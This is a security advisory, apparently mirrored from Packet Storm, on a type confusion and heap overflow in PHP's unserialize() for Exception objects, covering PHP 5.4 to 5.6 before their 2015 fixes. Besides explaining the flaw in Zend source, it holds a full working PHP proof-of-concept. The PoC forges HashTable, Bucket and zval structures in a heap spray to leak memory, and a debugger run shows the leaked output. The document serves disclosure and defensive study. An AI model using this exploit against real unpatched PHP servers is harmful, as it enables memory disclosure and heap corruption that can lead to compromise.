Lucene search
K

PHP Exception Type Confusion / Heap Overflow

🗓️ 29 Apr 2015 00:00:00Reported by Taoguang ChenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

PHP unserialize() Type Confusion / Heap Overflo

Code
`# Type Confusion Infoleak and Heap Overflow Vulnerability in  
unserialize() with exception  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3  
- Release Date: 2015.4.28  
  
> A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.8  
Affected is PHP 5.5 < 5.5.24  
Affected is PHP 5.4 < 5.4.40  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
```  
ZEND_METHOD(exception, getTraceAsString)  
{  
zval *trace;  
char *res, **str, *s_tmp;  
int res_len = 0, *len = &res_len, num = 0;  
  
DEFAULT_0_PARAMS;  
  
res = estrdup("");  
str = &res;  
  
trace = zend_read_property(default_exception_ce, getThis(), "trace",  
sizeof("trace")-1, 1 TSRMLS_CC);  
zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC,  
(apply_func_args_t)_build_trace_string, 3, str, len, &num);  
  
...  
  
static int _build_trace_string(zval **frame TSRMLS_DC, int num_args,  
va_list args, zend_hash_key *hash_key) /* {{{ */  
{  
char *s_tmp, **str;  
int *len, *num;  
long line;  
HashTable *ht = Z_ARRVAL_PP(frame);  
zval **file, **tmp;  
  
...  
  
TRACE_APPEND_KEY("class");  
TRACE_APPEND_KEY("type");  
TRACE_APPEND_KEY("function");  
  
...  
  
#define TRACE_APPEND_KEY(key)  
\  
if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { \  
if (Z_TYPE_PP(tmp) != IS_STRING) { \  
zend_error(E_WARNING, "Value for %s is no string", key); \  
TRACE_APPEND_STR("[unknown]"); \  
} else { \  
TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); \  
} \  
}  
```  
  
The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a  
fake HashTable and a fake Bucket. So we can supply a fake sring-type  
ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro,  
causing a crash or an information leak.  
  
```  
#define TRACE_APPEND_STRL(val, vallen) \  
{ \  
int l = vallen; \  
*str = (char*)erealloc(*str, *len + l + 1); \  
memcpy((*str) + *len, val, l); \  
*len += l; \  
}  
```  
  
There is using signed integer arithmetic in erealloc(). The memcpy()  
function's third parameter is a unsiged integer. The vallen can be  
completely control and we can supply negative value via a fake  
string-type ZVAL. So we can assign a value to val which is larger than  
real allocated memory. The memcpy() will then copy more data than the  
heap-based buffers can hold, causing a heap-based buffer overflow.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20.  
  
```  
<?php  
  
  
ini_set("memory_limit", -1);  
  
setup_memory();  
  
$x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:'.strlen($hashtable).':"'.$hashtable.'";}');  
  
echo $x, "\n";  
  
function setup_memory()  
{  
global $str, $hashtable;  
  
$base = 0x114000000 + 0x20;  
$bucket_addr = $base;  
$zval_delta = 0x100;  
$hashtable_delta = 0x200;  
$zval_addr = $base + $zval_delta;  
$hashtable_addr = $base + $hashtable_delta;  
  
$bucket = "\x01\x00\x00\x00\x00\x00\x00\x00";  
$bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00";  
$bucket .= ptr2str($bucket_addr + 3*8);  
$bucket .= ptr2str($zval_addr);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
  
$bucket .= ptr2str(zhash('class'));  
$bucket .= "\x06\x00\x00\x00\x00\x00\x00\x00";  
$bucket .= ptr2str($bucket_addr + 3*8 + 9*8);  
$bucket .= ptr2str($zval_addr + 5*8 + 6);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str($zval_addr + 2*5*8 + 2*6);  
$bucket .= ptr2str($bucket_addr);  
$bucket .= ptr2str($bucket_addr + 9*8);  
  
$hashtable = "\x00\x00\x00\x00";  
$hashtable .= "\x01\x00\x00\x00";  
$hashtable .= "\x03\x00\x00\x00";  
$hashtable .= "\x00\x00\x00\x00";  
$hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";  
$hashtable .= ptr2str(0);  
$hashtable .= ptr2str($bucket_addr);  
$hashtable .= ptr2str($bucket_addr + 9*8);  
$hashtable .= ptr2str($bucket_addr + 18*8);  
$hashtable .= ptr2str(0);  
$hashtable .= "\x00";  
$hashtable .= "\x00";  
  
$zval = ptr2str($hashtable_addr);  
$zval .= ptr2str(0);  
$zval .= "\x00\x00\x00\x00";  
$zval .= "\x04";  
$zval .= "\x00";  
$zval .= ptr2str(0);  
$zval .= ptr2str(0);  
$zval .= ptr2str(0);  
  
$zval .= ptr2str(0x100352572);  
$zval .= ptr2str(0x16);  
$zval .= "\x00\x00\x00\x00";  
$zval .= "\x06";  
$zval .= "\x00";  
$zval .= ptr2str(0);  
$zval .= ptr2str(0);  
$zval .= ptr2str(0);  
  
$zval .= ptr2str(hexdec(bin2hex(strrev('class'))));  
  
$part = str_repeat("\x73", 4096);  
for ($j = 0; $j < strlen($bucket); $j++) {  
$part[$j] = $bucket[$j];  
}  
for ($j = 0; $j < strlen($hashtable); $j++) {  
$part[$j + $hashtable_delta] = $hashtable[$j];  
}  
for ($j = 0; $j < strlen($zval); $j++) {  
$part[$j + $zval_delta] = $zval[$j];  
}  
$str = str_repeat($part, 1024*1024*256/4096);  
}  
  
function ptr2str($ptr)  
{  
$out = "";  
for ($i=0; $i<8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
function zhash($key)  
{  
$hash = 5381;  
$key = $key;  
$len = strlen($key) + 1;  
  
for (; $len >= 8; $len -= 8) {  
for ($i = 0; $i < 8; $i++) {  
$hash = (($hash << 5) + $hash) + ord($key{$i});  
}  
}  
$key = substr($key, -$len);  
for ($i = 0; $i < $len; $i++) {  
$hash = (($hash << 5) + $hash) + ord($key{$i});  
}  
return $hash;  
}  
  
?>  
```  
  
Test the PoC on the command line, then output some memory blocks:  
  
```  
$ lldb php  
(lldb) target create "php"  
Current executable set to 'php' (x86_64).  
(lldb) run tcpoc.php  
Process 1825 launched: '/usr/bin/php' (x86_64)  
exception 'Exception' in tcpoc.php:7  
Stack trace:  
#0 [internal function]: UH??AWAVSPI??I??H????()  
#1 {main}  
Process 1825 exited with status = 0 (0x00000000)  
```  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation